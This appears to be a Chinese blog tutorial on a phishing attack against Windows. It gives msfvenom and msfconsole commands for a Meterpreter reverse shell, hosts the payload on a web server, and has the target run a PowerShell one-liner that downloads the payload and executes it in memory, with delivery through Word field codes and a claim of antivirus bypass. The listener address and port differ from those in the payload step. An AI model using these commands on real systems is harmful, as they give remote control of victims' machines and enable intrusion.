MSF&Powershell钓鱼攻击

本文介绍了如何使用MSF生成反弹shell的payload,并结合Powershell在Windows环境中进行钓鱼攻击。实验过程包括在Kali系统中创建payload,通过MSF监听,将payload上传至公网服务器,然后诱导目标机器通过Powershell下载并执行,最终实现远程控制靶机。

MSF&Powershell钓鱼攻击

前言

Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。其中office类型文件可以达到钓鱼目的的前提是office已经启用宏。

实验环境

实验步骤

0x01 在Kali中通过MSF生成反弹Payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=1121 -f psh-reflection >x.ps1

#生成名为x.ps1的windows/x64/meteroreter/reverse_tcp的payload

在这里插入图片描述

0x02 通过MSF进行监听

msfconsole
use exploit/multi/handler
set lhost 192.168.3.223
set lport 1234
set payload windows/x64/meterpreter/reverse_tcp
run

在这里插入图片描述

0x03 将生成的payload放至公网服务器,确保靶机能够访问。

在这里插入图片描述

0x04 在靶机中运行powershell脚本,实战需要其他方式运行此代码:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.221/x.ps1')

#代码中的地址为公网地址。通过word域代码执行powershell脚本调用web服务器payload

下载到靶机内存中执行

在这里插入图片描述

当靶机成功执行以上命令之后,msf会收到会话如下图,此时已经成功建立会话,可控制靶机。实验成功。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值